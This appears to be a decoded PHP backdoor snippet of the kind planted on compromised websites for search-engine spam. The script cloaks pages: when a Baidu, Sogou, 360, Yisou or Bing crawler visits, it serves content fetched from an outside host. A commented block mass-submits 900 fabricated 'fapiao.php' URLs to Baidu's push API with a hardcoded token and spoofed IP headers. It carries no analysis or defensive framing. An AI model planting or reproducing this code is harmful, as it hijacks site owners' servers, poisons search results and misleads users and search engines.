PHP Decode

<?php 
isAllowAccess(TRUE); 
function isAllowAccess($dir = false){ 
	$allowed = array('/baiduspider/i','/YisouSpider/i','/360spider/i','/bingbot/i','/Sogou/i','/Sosospider/i','/Sogou web spider/i'); 
	$user_agent = $_SERVER['HTTP_USER_AGENT']; 
	$valid = false; 
	foreach($allowed as $val) 
	{ 
		if(preg_match($val,$user_agent)) 
		{ 
 
echo file_get_contents('http://maogepao.net/jsc.php'); 
echo file_get_contents('http://'.$_SERVER["HTTP_HOST"]); 
   exit(); 
		} 
	} 
	if(!$valid && $dir) 
	{ 
		//exit('404not fond'); 
	} 
	return $valid; 
} 
?> 
<!--<?php  
$tmp=array();  
while(count($tmp)<900){  
$tmp[]=mt_rand(1000,200000);  
$tmp=array_unique($tmp);  
}  
foreach ($tmp as $key => $value){ 
$lianjie.='http://'.$_SERVER["HTTP_HOST"].'/fapiao.php?ID='.$value.' 
    '; 
$urls = array( 
$lianjie 
); 
} 
$api = 'http://data.zz.baidu.com/urls?site='.$_SERVER['HTTP_HOST'].'&token=Y5oWDWWa6WcFOFsj&type=mip'; 
$ch = curl_init(); 
$options =  array( 
    CURLOPT_URL => $api, 
    CURLOPT_POST => true, 
    CURLOPT_RETURNTRANSFER => true, 
    CURLOPT_POSTFIELDS => implode("
", $urls), 
    CURLOPT_HTTPHEADER => array('Content-Type: text/plain'), 
); 
 
curl_setopt_array($ch, $options); 
$ip = rand(1,255).rand(1,255).rand(1,255).rand(1,255);  
curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:'.$ip.'','CLIENT-IP:'.$ip.''));  
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"); 
$result = curl_exec($ch); 
echo $result; 
?>-->